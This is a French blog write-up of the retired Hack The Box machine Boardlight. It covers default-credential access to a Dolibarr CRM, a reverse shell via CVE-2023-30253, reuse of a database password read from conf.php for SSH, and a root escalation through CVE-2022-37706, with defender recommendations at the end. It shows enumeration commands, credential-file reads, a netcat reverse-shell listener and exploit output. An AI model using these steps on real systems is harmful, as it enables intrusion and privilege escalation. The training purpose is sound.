23/11/2024

Cybersécurité

Compromission d’un serveur via un CRM non à jour – Hack The Box : Boardlight

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box Boardlight, de difficulté "facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active Directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies abordéesDolibarr, Linux, Setuid
Outils utilisésnmap, PHP, Python, CVE-2022-37706, CVE-2023-30253

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box Boardlight

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ sudo nmap --max-retries 1 -T4 -sS -A -v --open -p- -Pn 10.10.11.11

Nmap scan report for 10.10.11.11
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_  Supported Methods: GET HEAD POST OPTIONS

Les ports exposés sont assez classiques pour un serveur Linux, on y retrouve un service SSH pour l'administration ainsi qu'un service web.

Retrouvez notre cours complet sur Nmap sur lien suivant :

Technique d'attaque (MITRE ATT&CK) : T1595.003 - Active Scanning: Wordlist Scanning

L'accès au service web fait apparaitre le nom de domaine "board.htb". Je commence par effectuer une recherche via dictionnaire de potentiel vhost (sous-domaines) qui pourraient être configurés sur ce service web. J'utilise pour cela l'outil "ffuf" :

$ ffuf -w $S/Discovery/DNS/subdomains-top1million-20000.txt -u http://board.htb -H "Host: FUZZ.board.htb" -fw 6243

crm [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 126ms]

Cette opération me permet de découvrir le vhost "crm.board.htb".

B. Exploitation d'un CRM Dolibarr non à jour

Celui-ci expose l'application Dolibarr en version 17 :

Technique d'attaque (MITRE ATT&CK) : T1078.001 - Valid Accounts: Default Accounts

Les solutions toutes faites comme ce type d'application viennent très souvent avec des identifiants par défaut, commun à toutes les instances fraichement installées. La connaissance de ces identifiants par défaut (souvent présents dans la documentation ou le site de l'éditeur) permet parfois d'obtenir un accès administrateur rapidement. Après quelques recherches, je découvre que les identifiants par défaut sont "admin:admin" et qu'ils fonctionnent sur la cible :

Parmi les fonctionnalités présentes, on découvre le menu "Websites", qui permet visiblement de créer des sites web à partir de l'interface Dolibarr.


Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

Quelques recherches sur la version de Dolibarr permettent de constater qu'elle n'est pas à jour et concernée par de multiples CVE. L'une d'entre elles me parait intéressante au regard de mon contexte :

Plusieurs exploits publics existent, dont celui-ci : Github - CVE-2023-30253. La CVE-2023-30253 concerne une vulnérabilité dans Dolibarr < 17.0.1 qui permet l'exécution de code à distance par un utilisateur authentifié.

En conditions réelles, il faut toujours lire et comprendre précisément les PoC que l'on souhaite utiliser. Cela pour être sûr des impacts qu'il peut causer sur le système cible.

Cette vulnérabilité repose sur une manipulation des caractères en majuscule dans les balises PHP injectées (par exemple, "<?PHP" au lieu de "<?php"), précisément dans le module "Websites". L'exploit que j'utilise commence donc par s'authentifier, puis créer un site web :

Il va ensuite créer une page au sein de ce site web, puis l'éditer pour y insérer du code PHP :

On note notamment le "pHp", qui joue avec les majuscules pour contourner un contrôle un peu trop laxiste sur les chaines de caractères. Ce code PHP vise à créer un reverse shell, c'est-à-dire un accès shell distant qui va venir se connecter à mon système :

Technique d'attaque (MITRE ATT&CK) : T1059.004 - Command and Scripting Interpreter: Unix Shell

Cette exploitation me permet d'obtenir un reverse shell sur le système. J'obtiens donc un premier accès au serveur :

$ nc -lvp 9001                                           

listening on [any] 9001 ...                                
connect to [10.10.14.59] from board.htb [10.10.11.11] 54368                                                           
bash: cannot set terminal process group (855): Inappropriate ioctl for device                                         
bash: no job control in this shell                         
www-data@boardlight:~/html/crm.board.htb/htdocs/public/website$

Technique d'attaque (MITRE ATT&CK) : T1033 - System Owner/User Discovery

Mon premier réflexe est bien sûr de récupérer l'utilisateur courant :

$ whoami
www-data

$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

C. Élévation de privilège via un setUID vulnérable

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

J'effectue également quelques recherches afin d'identifier des fichiers intéressants accessibles par cet utilisateur. Un cas très classique pour une application web est la recherche de fichiers de configuration pouvant contenir les mots de passe de l'accès en base de données, ce qui permet en général d'accéder à un autre service contenant potentiellement plus d'informations :

$ ls
class
index.php
lib
samples
websiteaccount_card.php

$ cat conf/conf.php

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

Cela me permet effectivement de récupérer un mot de passe, celui utilisé par l'application Dolibarr pour échanger avec sa base de données :

<?php
[...]
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_usre='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';

Un réflexe important à avoir est de systématiquement réutiliser les mots de passe découverts sur tous les services et comptes utilisateur que nous avons à disposition.

Technique d'attaque (MITRE ATT&CK) : T1087.001 - Account Discovery: Local Account

En ayant un accès au système, nous pouvons facilement récupérer la liste des utilisateurs dans le fichier "/etc/passwd" :

$ cat /etc/passwd
[...]
sssd:x:126:131:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
larissa:x:1000:1000:larissa,,,:/home/larissa:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
[...]

Le seul compte utilisateur existant autre que "root" est "larissa", les autres comptes possèdent des ID inférieurs à 1000 et sont donc des comptes de service. Je tente ensuite une authentification sur le compte "larissa" en SSH, avec succès :

Technique d'attaque (MITRE ATT&CK) : T1021.004 - Remote Services: SSH

$ ssh [email protected]
larissa@boardlight:~$ cat user.txt
40c32[REDACTED]471dab

Cela me permet de récupérer le premier flag du challenge et d'avoir un accès plus stable au système. Pour aller plus loin dans notre énumération, nous pouvons récupérer la liste des binaires setUID configurés sur le système :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

larissa@boardlight:/tmp$ find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null    
-rwsr-xr-x 1 root root 14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device     
-rwsr-sr-x 1 root root 14488 Apr  8 18:36 /usr/lib/xorg/Xorg.wrap     
-rwsr-xr-x 1 root root 26944 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys     
-rwsr-xr-x 1 root root 14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd
-rwsr-xr-x 1 root root 14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight         
-rwsr-xr-x 1 root root 14648 Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset 
[...]

Des binaires que je n'ai jamais croisés auparavant apparaissent, notamment les trois commençant par "enlightenment". Après quelques recherches, je découvre que le binaire "enlightenment_sys" est concerné par la CVE-2022-37706 :

Source : https://nvd.nist.gov/vuln/detail/CVE-2022-37706
Source : https://nvd.nist.gov/vuln/detail/CVE-2022-37706

Cette vulnérabilité permet d'élever ses privilèges en exploitant une erreur d'interprétation dans le chemin fourni en argument au binaire. Ainsi, au lieu de profiter des droits "root" uniquement pour les opérations réalisées par le binaire, il est possible de contrôler son exécution pour lui faire exécuter d'autres commandes. À nouveau, plusieurs PoC (Proof of Concept) sont disponibles sur Exploit-DB ou Github, intéressons-nous à leur contenu : https://www.exploit-db.com/exploits/51180

L'idée est donc de faire exécuter au binaire le script "/tmp/exploit" qui contient "/bin/sh".

Technique d'attaque (MITRE ATT&CK) : T1068 - Exploitation for Privilege Escalation

larissa@boardlight:/tmp$ ./CVE-2022-37706

[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Welcome to the rabbit hole :)
If it is not found in fstab, big deal :D 
mount: /dev/../tmp/: can't find in /etc/fstab.
uid=0(root) gid=0(root) groups=0(root),4(adm),1000(larissa)

L'exploitation de cette faiblesse nous permet d'obtenir un accès "root" sur le système cible, il est donc totalement compromis.

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoveryUtilisation de "nmap" pour découvrir les services exposés sur le réseau
T1595.003 - Active Scanning: Wordlist ScanningÉnumération et découverte de vhost via "fuff"
T1078.001 - Valid Accounts: Default AccountsUtilisation des identifiants par défaut "admin:admin" sur le CRM Dolibarr
T1190 - Exploit Public-Facing ApplicationExploitation de la CVE-2023-30253
T1059.004 - Command and Scripting Interpreter: Unix ShellObtention d'un reverse shell via l'exploitation de la CVE
T1033 - System Owner/User DiscoveryDécouverte de l'utilisateur courant
T1083 - File and Directory DiscoveryRecherche dans les fichiers et dossiers accessibles sur le système
T1552.001 - Unsecured Credentials: Credentials In FilesDécouverte des identifiants de la base de données utilisée par Dolibarr
T1087.001 - Account Discovery: Local AccountRécupération de la liste des utilisateurs locaux
T1021.004 - Remote Services: SSHAccès SSH au compte "larissa" via le mot de passe découvert.
T1083 - File and Directory DiscoveryEnumération des fichiers setUID configurés
T1068 - Exploitation for Privilege EscalationExploitation de la CVE-2022-37706 sur le binaire "enlightenment_sys"

IV. Notions abordées

A. Côté attaquant

Cet exercice est particulièrement orienté sur la prise d'information et la bonne utilisation de ces informations. La découverte du vhost "crm.board.htb" pouvait sembler ardue si cette opération d'énumération des vhosts ne faisait pas partie de votre méthodologie de découverte (ce sera le cas pour la prochaine fois 🙂 ).

Une fois ce vhost découvert, la recherche des identifiants par défaut et des CVE impactant les versions ou binaires découvertes visait à vous entrainer à ces deux phases importantes. Utiliser les bonnes ressources et les bons outils de recherche peut grandement vous faciliter la tâche. Searchsploit aurait par exemple, pu faciliter l'identification de la CVE-2022-37706 :

Retrouvez notre article sur l'utilisation de searchsploit :

Il faut garder en tête également que les PoC récupérés sur internet doivent être étudiés et compris avant utilisation. Il est fréquent qu'ils requièrent des modifications propres à votre contexte, mais également pour s'assurer qu'ils ne provoquent pas de destructions sur le système ciblé.

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : nous pouvons émettre une recommandation sur la gestion des comptes et identifiants par défaut. Il est nécessaire de changer tous les identifiants par défaut, car ceux-ci sont connus des attaquants, et d'appliquer des mots de passe forts et uniques. Nous pouvons citer en appui la directive n°12 du Guide d'hygiène informatique de l'ANSSI : "Changer les éléments d’authentification par défaut sur les équipements et services".

Recommandation n°2 : il peut également être recommandé de mettre à jour régulièrement les logiciels et de surveiller les vulnérabilités. Les correctifs de sécurité doivent être appliqués dès qu'ils sont disponibles. Nous pouvons citer en appuie la directive n°34 du Guide d'hygiène informatique de l'ANSSI : "Définir une politique de mise à jour des composants du système d’information".

Recommandation n°3 : il doit également être recommandé de ne pas réutiliser des mots de passe entre plusieurs comptes ou services. Ici, le mot de passe de l'accès Dolibarr à la base de données a été réutilisé par le compte utilisateur "larissa", ce qui a permis d'obtenir un accès SSH au système. Chaque mot de passe doit être robuste et unique.

V. Conclusion

J’espère que cet article vous a plu ! Pensez à donner votre avis dans les commentaires ou sur notre Discord !

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

author avatar
Mickael Dorigny Co-founder
Co-fondateur d'IT-Connect.fr. Auditeur/Pentester chez Orange Cyberdéfense.
Partagez cet article Partager sur Twitter Partager sur Facebook Partager sur Linkedin Envoyer par mail

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Ce site utilise Akismet pour réduire les indésirables. En savoir plus sur comment les données de vos commentaires sont utilisées.